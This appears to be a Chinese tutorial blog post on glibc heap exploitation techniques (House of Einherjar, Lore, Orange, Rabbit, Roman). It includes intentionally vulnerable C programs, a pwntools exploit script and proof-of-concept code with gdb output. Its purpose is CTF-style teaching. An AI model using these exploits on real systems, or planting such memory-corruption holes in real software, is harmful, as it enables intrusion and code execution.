堆溢出-Housese_Of_XXX

House Of XXX 是 2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。 由于年代久远《The Malloc Maleficarum》中提出的大多数方法今天都不能奏效,我们现在所指的 House Of XXX 利用相比 2004 年文章中写的已有较大的不同。

但是《The Malloc Maleficarum》依然是一篇推荐阅读的文章,可以在这里读到它的原文: https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt

House Of Einherjar

house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。其主要在于滥用 free 中的后向合并操作(合并低地址的 chunk),从而使得尽可能避免碎片化。

此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。

漏洞原理

后向合并操作

free 函数中的后向合并核心操作如下:

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

具体过程如下:

利用原理

首先,在之前的堆的介绍中,我们可以知道以下的知识:

  • 两个物理相邻的 chunk 会共享 prev_size字段,尤其是当低地址的 chunk 处于使用状态时,高地址的 chunk 的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。
  • 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的。
  • 后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))

那么如果我们可以同时控制一个 chunk prev_sizePREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置。

利用过程

溢出前:假设溢出前的状态如下图所示:

溢出:这里我们假设p0堆块一方面可以写prev_size字段,另一方面,存在off by one的漏洞,可以写下一个 chunk 的PREV_INUSE部分,那么:

溢出后:假设我们将p1prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值。在溢出后,我们释放 p1,则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize)) 就是我们想要的 chunk 位置了。

攻击过程示例

可以进行 House Of Einherjar 攻击的代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0); 
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}

攻击代码如下:

from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

利用 unlink 漏洞的时候:

p->fd = &p-3*4
p->bk = &p-2*4

在这里利用时,因为没有办法找到 &p , 所以直接让:

p->fd = p
p->bk = p

这里需要注意一个点:

payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0

其实修改为下面这样也是可以的:

payload = p64(0) + p64(0x221) + p64(address) * 2 + "A"*0xe0

按照道理来讲 fake chunk 的 size 是 0x221 才合理,但是为什么 0x101 也可以呢?这是因为对 size 和 prev_size 的验证只发生在 unlink 里面,而 unlink 里面是这样验证的:

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
malloc_printerr ("corrupted size vs. prev_size");

所以只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就好了。

总结

这里我们总结下这个利用技术需要注意的地方:

  • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分
  • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址
  • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测

其实,该技术与 chunk extend/shrink 技术比较类似。

House of Lore

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。

House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。

House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

原理

如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下:

/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

从中可以看出,如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。

攻击过程代码

示例代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

需要注意的是:

  • 1、void *p5 = malloc(1000); 是为了防止和 victim_chunk 之后和 top_chunk 合并。

  • 2、free((void*)victim),victim 会被放入到 unsort bin 中去,然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下 link 到相应的 bin 中。如果比它小 (相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk , 还是存在 unsorted bin 中。

House of Orange

House of Orange 与其他的 House of XX 利用方法不同,这种利用方法来自于 Hitcon CTF 2016 中的一道同名题目。由于这种利用方法在此前的 CTF 题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为 House of Orange。

概述

House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free 函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行 malloc 和 free 操作,但是在 House of Orange 利用中无法使用 free 函数,因此 House of Orange 核心就是通过漏洞利用获得 free 的效果。

原理

如前面所述,House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

详细过程:假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc调用会执行到 libc.so 的_int_malloc函数中,在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,因此会执行如下分支:

/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

此时 ptmalloc 已经不能满足用户申请堆内存的操作,需要执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。

综上,我们要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
...

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。

在 sysmalloc 函数中存在对 top chunk size 的 check,如下:

assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

这里检查了 top chunk 的合法性,如果第一次调用本函数,top chunk 可能没有初始化,所以可能 old_size 为 0。 如果 top chunk 已经初始化了,那么 top chunk 的大小必须大于等于 MINSIZE,因为 top chunk 中包含了 fencepost,所以 top chunk 的大小必须要大于 MINSIZE。其次 top chunk 必须标识前一个 chunk 处于 inuse 状态,并且 top chunk 的结束地址必定是页对齐的。此外 top chunk 除去 fencepost 的大小必定要小于所需 chunk 的大小,否则在_int_malloc() 函数中会使用 top chunk 分割出 chunk。

我们总结一下伪造的 top chunk size 的要求:

  • 伪造的 size 必须要对齐到内存页

  • size 要大于 MINSIZE(0x10)

  • size 要小于之后申请的 chunk size + MINSIZE(0x10)

  • size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

示例

这里给出了一个示例程序,程序模拟了一个溢出覆盖到 top chunk 的 size 域。我们试图把 size 改小从而实现 brk 扩展,并把原有的 top chunk 放入 unsorted bin 中。

#define fake_size 0x41

int main(void)
{
void *ptr;

ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);

*((long long*)ptr)=fake_size; // overwrite top chunk size

malloc(0x60);

malloc(0x60);
}

这里我们把 top chunk 的 size 覆盖为 0x41。之后申请大于这个尺寸的堆块,即 0x60。 但是当我们执行这个示例时会发现,这个程序并不能利用成功,原因在于 assert 并没有被满足从而抛出了异常。

[#0] 0x7ffff7a42428 → Name: __GI_raise(sig=0x6)
[#1] 0x7ffff7a4402a → Name: __GI_abort()
[#2] 0x7ffff7a8a2e8 → Name: __malloc_assert(assertion=0x7ffff7b9e150 "(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)", file=0x7ffff7b9ab85 "malloc.c", line=0x95a, function=0x7ffff7b9e998 <__func__.11509> "sysmalloc")
[#3] 0x7ffff7a8e426 → Name: sysmalloc(nb=0x70, av=0x7ffff7dd1b20 <main_arena>)

我们回头来看一下 assert 的条件,可以发现之前列出的条目都被满足了除了第一条:

1.伪造的size必须要对齐到内存页

什么是对齐到内存页呢?我们知道现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是 4kb。那么我们伪造的 size 就必须要对齐到这个尺寸。在覆盖之前 top chunk 的 size 大小是 20fe1,通过计算得知 0x602020+0x20fe0=0x623000 是对于 0x1000(4kb)对齐的。

0x602000:   0x0000000000000000  0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

因此我们伪造的 fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size。而 0x40 不满足对齐,因此不能实现利用。

#define fake_size 0x1fe1

int main(void)
{
void *ptr;

ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);

*((long long*)ptr)=fake_size;

malloc(0x2000);

malloc(0x60);
}

进行分配之后我们可以观察到原来的堆经过了 brk 扩展:

//原有的堆
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]

//经过扩展的堆
0x0000000000602000 0x0000000000646000 0x0000000000000000 rw- [heap]

我们的申请被分配到 0x623010 的位置,同时原有的堆被置入 unsorted bin:

[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
→ Chunk(addr=0x602030, size=0x1fc0, flags=PREV_INUSE)

因为 unsorted bin 中存在块,所以我们下次的分配会切割这个块:

 malloc(0x60);
0x602030

[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
→ Chunk(addr=0x6020a0, size=0x1f50, flags=PREV_INUSE)

可以看到分配的内存是从 unsorted bin 中切割的,内存布局如下:

0x602030:   0x00007ffff7dd2208  0x00007ffff7dd2208 <== 未被清零的unsorted bin链表
0x602040: 0x0000000000602020 0x0000000000602020
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000001f51 <== 切割剩下的新unsorted bin
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x0000000000000000 0x0000000000000000

其实 house of orange 的要点正在于此,之后的利用因为涉及到_IO_FILE 的知识,放到 IO_FILE 部分进行学习记录。

House of Rabbit

House of rabbit 是一种伪造堆块的技术,一般运用在 fastbin attack 中,因为 unsorted bin 等其它的 bin 有更好的利用手段。

原理

我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出。而 house of rabbit 就利用了在 malloc consolidate 的时候 fastbin 中的堆块进行合并时 size 没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。

原作者POC

前提条件:

  • 1、可以修改 fastbin 的 fd 指针或 size
  • 2、可以触发 malloc consolidate(merge top 或 malloc big chunk 等等)

下面来看一下 POC:

POC 1: modify the size of fastbin chunk

unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x40); //0x602050
malloc(0x10);
free(chunk1);
free(chunk2);
/* Heap layout
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0x51 ('Q')
0016| 0x602010 --> 0x0
.....
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x51 ('Q')
0096| 0x602060 --> 0x602000 --> 0x0
0104| 0x602068 --> 0x0
......
0160| 0x6020a0 --> 0x0
0168| 0x6020a8 --> 0x21 ('!')
0176| 0x6020b0 --> 0x0
0184| 0x6020b8 --> 0x0
*/
chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1
malloc(0x1000); //allocate a large chunk, trigger malloc consolidate
/*Chunk1 overlap with chunk2 now
gdb-peda$ telescope 0x602000 100
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0xa1
0016| 0x602010 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...)
0024| 0x602018 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...)
0032| 0x602020 --> 0x0
.....
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x51 ('Q')
0096| 0x602060 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...)
0104| 0x602068 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...)
0112| 0x602070 --> 0x0
0120| 0x602078 --> 0x0
....
0152| 0x602098 --> 0x0
0160| 0x6020a0 --> 0xa0
0168| 0x6020a8 --> 0x20 (' ')

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x603450 (size : 0x1fbb0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x050) smallbin[ 3]: 0x602050
(0x0a0) smallbin[ 8]: 0x602000 (overlap chunk with 0x602050(freed) )
*/

POC 2: modify FD pointer

unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x100);//0x602050

chunk2[1]=0x31; //fake chunk size 0x30
chunk2[7]=0x21 //fake chunk's next chunk
chunk2[11]=0x21 //fake chunk's next chunk's next chuck
/* Heap laylout
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0x51 ('Q')
0016| 0x602010 --> 0x0
......
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x111
0096| 0x602060 --> 0x0
0104| 0x602068 --> 0x31 ('1')
0112| 0x602070 --> 0x0
......
0144| 0x602090 --> 0x0
0152| 0x602098 --> 0x21 ('!')
0160| 0x6020a0 --> 0x0
0168| 0x6020a8 --> 0x0
0176| 0x6020b0 --> 0x0
0184| 0x6020b8 --> 0x21 ('!')
0192| 0x6020c0 --> 0x0
......
0352| 0x602160 --> 0x0
0360| 0x602168 --> 0x20ea1
*/
free(chunk1);
chuck1[0]=0x602060;// modify the fd of chunk1
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x602000 --> 0x602060 (size error (0x30)) --> 0x0
*/
malloc(5000);// malloc a big chunk to trigger malloc consolidate
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6034f0 (size : 0x1fb10)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x050) smallbin[ 3]: 0x602000
(0x030) smallbin[ 1]: 0x602060
*/

原理很简单,就是通过修改 fastbin chunk 的 size(如上面的 POC 1 所示) 直接构造 overlap chunk,或者修改 fd(如面的 POC 2 所示),让它指向一个 fake chunk,触发 malloc consolidate 之后让这个 fake chunk 成为一个合法的 chunk。

总结

House of rabbit 的优点是容易构造 overlap chunk,由于可以基于 fastbin attack,甚至不需要 leak 就可以完成攻击。大家可以通过例题的练习加深对这个攻击的理解。

例题

  • HITB-GSEC-XCTF 2018 mutepig

House of Roman

House of Roman 这个技巧说简单点其实就是 fastbin attack 和 Unsortbin attack 结合的一个小 trick。

概括

该技术用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!